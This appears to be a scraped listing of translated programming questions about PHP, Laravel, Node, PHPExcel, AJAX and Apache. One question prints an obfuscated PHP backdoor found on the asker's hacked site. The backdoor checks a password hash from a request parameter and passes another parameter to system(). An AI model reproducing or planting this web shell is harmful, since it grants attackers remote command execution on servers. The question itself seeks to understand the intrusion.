我正在尝试yii2在我的Amazon Linux AMI实例上安装,它需要php-mbstring扩展才能工作.
当我试图运行sudo yum install php-mbstring它时返回此错误:
错误:php56-与php-common-5.3.29-1.8.amzn1.x86_64的常见冲突
Loaded plugins: priorities, update-motd, upgrade-helper
amzn-main/latest | 2.1 kB 00:00
amzn-updates/latest | 2.3 kB 00:00
2494 packages excluded due to repository priority protections
Resolving Dependencies
--> Running transaction check
---> Package php-mbstring.x86_64 0:5.3.29-1.8.amzn1 will be installed
--> Processing Dependency: php-common(x86-64) = 5.3.29-1.8.amzn1 for package: php-mbstring-5.3.29-1.8.amzn1.x86_64
--> Running transaction check
---> Package php-common.x86_64 0:5.3.29-1.8.amzn1 will be installed
--> Processing Conflict: php56-common-5.6.9-1.112.amzn1.x86_64 conflicts php-common < 5.5.22-1.98
--> Finished …Run Code Online (Sandbox Code Playgroud) 我有两个表,看起来(迁移):
Schema::create('sets', function(Blueprint $table)
{
$table->increments('id');
$table->string('key');
$table->string('name');
$table->string('set_type');
$table->integer('belongs_to')->unsigned();
$table->timestamps();
$table->foreign('belongs_to')->references('id')->on('sets')->onDelete('cascade');
});
Schema::create('posts', function(Blueprint $table)
{
$table->bigIncrements('id');
$table->bigInteger('user_id')->unsigned();
$table->bigInteger('set_id')->unsigned();
$table->string('post_type', 25);
$table->text('post');
$table->boolean('is_reported')->default(false);
$table->boolean('is_hidden')->default(false);
$table->timestamps();
$table->foreign('user_id')->references('id')->on('users');
$table->foreign('set_id')->references('id')->on('sets');
});
Run Code Online (Sandbox Code Playgroud)
'set'表用于存储应该查看帖子的位置(国家,城市......)的数据.例如,让我们存储一些国家:
id | key | name | belongs_to
1 | europe | Europe | null
2 | germany-all | Germany | 1
3 | germany-berlin | Berlin | 2
4 | germany-frankfurt | Frankfurt | 2
5 | poland-all | Poland | 1
6 | poland-warsaw | Warsaw | 5
7 …Run Code Online (Sandbox Code Playgroud) 我使用以下代码来解析json数据并将其保存在我的模块内部,例如当服务器(如npm server.js)时,我正在使用parse 解析json文件的函数.
最后,这些解析过的jsons保存在对象中configObj,我想在用户请求期间(通过express)在路由器模块或其他模块中获取此对象.
我该如何实现这一目标?
var configObj;
parse = function () {
return fs.readFileAsync(file, 'utf8')
.then(function (res) {
return JSON.parse(res)
}).then(function (jsonObj) {
configObj = jsonObj;
return jsonObj;
})
....
})
};
module.exports = {
parse: parse,
configObj: configObj
}
Run Code Online (Sandbox Code Playgroud)
该parse函数只调用一次,我想configObj在不同的模块中访问很多次.
我正在尝试读取phpexcel中的合并单元格,我的问题是单元格合并在A:B:C:D:E:F(不能与他们想要的东西争论)
$i= 0;
foreach ($worksheet->getRowIterator() as $row) {
if ($i > 10) break ;
$i ++;
$cellIterator = $row->getCellIterator();
foreach ($cellIterator as $cell) {
if($cell->getColumn()== 'A:B:C:D:E:F'){
$specification=$cell->getCalculatedValue();
var_dump($specification);die();
// some other code
Run Code Online (Sandbox Code Playgroud)
总是转储null.
我已经尝试过,$cell->getColumn()== 'A'因为单元格从A开始,但也转储为null.
我将不胜感激任何帮助.
看看我是整个AJAX的新手,但是嘿,我到了那里......如果这是我不那么明亮的帖子之一,那么道歉但这是一个让我在过去一小时内保持活力的问题,我不能似乎解决了这个问题.
我的问题
HTML标记不会显示为...... HTML标记,而是验证时的正常文本

形成
<div id="inline2" style="width:400px;display: none;">
<div id="form-messages"></div>
<form name="dep-form" action="mailer.php" id="dep-form" method="post">
User Name<br /><input type="text" name="uname" value="" /><br />
Credit Card Nr<br /><input type="text" name="cc" value="" /><br />
CSV Nr<br /><input type="text" name="csv" value="" /><br />
Amount<br /> <input type="text" name="amount" value="" /><br />
<input type="submit" value="deposit" name="deposit" class="buttono" />
</form>
</div>
Run Code Online (Sandbox Code Playgroud)
AJAX
$(function() {
// Get the form.
var form = $('#dep-form');
// Get the messages div.
var formMessages = $('#form-messages');
// Set up …Run Code Online (Sandbox Code Playgroud) 例如,我无法在本地主机的url中打开带有“:”的url,因此无法打开http://bolehnonton.dev/Halo-4:-Forward-Unto-Dawn(这是在我的本地主机中)。我的浏览器中的结果页面是
禁止访问!
您无权访问所请求的对象。服务器对其进行了读保护或不可读。
如果您认为这是服务器错误,请与网站管理员联系。
错误403 bolehnonton.dev
Apache / 2.4.16(Win32)OpenSSL / 1.0.1p PHP / 5.6.12
但我可以使用托管地址打开类似的网址,http: //bolehnonton.com/Halo-4:-Forward-Unto- Dawn
虽然两者的htaccess文件都是相似的。
在这里,我的虚拟主机在我的xampp上配置
<VirtualHost *:80>
ServerAdmin webmaster@bolehnonton.dev
DocumentRoot "C:/xampp/htdocs/bolehnonton.com"
ServerName bolehnonton.dev
<Directory C:/xampp/htdocs/bolehnonton.com>
Allow from all
Require all granted
Options Indexes
</Directory>
</VirtualHost>
Run Code Online (Sandbox Code Playgroud) Laravel如何在"routes"目录中的console.php文件中使用$ this-> comment()方法,而Artisan :: command()是一个静态方法?
<?php
use Illuminate\Foundation\Inspiring;
Artisan::command('inspire', function() {
$this->comment(Inspiring::(quote));
})->describe('Display an inspiring quote');
Run Code Online (Sandbox Code Playgroud) 有人攻击我的网站并包含此代码.有人可以解释它的作用吗?
为了更清晰,我重新格式化了间距.我已经尝试运行代码,但看起来它只是返回一个md5哈希.这是无害的吗?
<?
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'),
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
base64_decode('dX' .'JsZGVjb2Rl'),
base64_decode('c3lz' .'dGVt'));
?>
<? function
_787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}
?>
<?php
$_0=_787708145(0);
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
if($_1!=$_0)exit;
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
if($_2==_787708145(3))exit;
$GLOBALS['_131068239_'][3]($_2);exit;
?>
Run Code Online (Sandbox Code Playgroud) 我在变量$html中有一个包含缩小的HTMl代码的字符串,所有这些都在一行中,如:
$html = '<body><div><p>hello</p><div></body>';
Run Code Online (Sandbox Code Playgroud)
如何美化/漂亮打印HTML,以便我的变量变为:
$html = '<body>
<div>
<p>hello</p>
<div>
</body>';
Run Code Online (Sandbox Code Playgroud)
我知道整齐的扩展是可能的,但如果没有扩展,怎么办呢.
编辑:请阅读问题.我不是问如何通过一些外部网站美化HTML代码.我问如何在PHP中实现它,特别是针对字符串变量.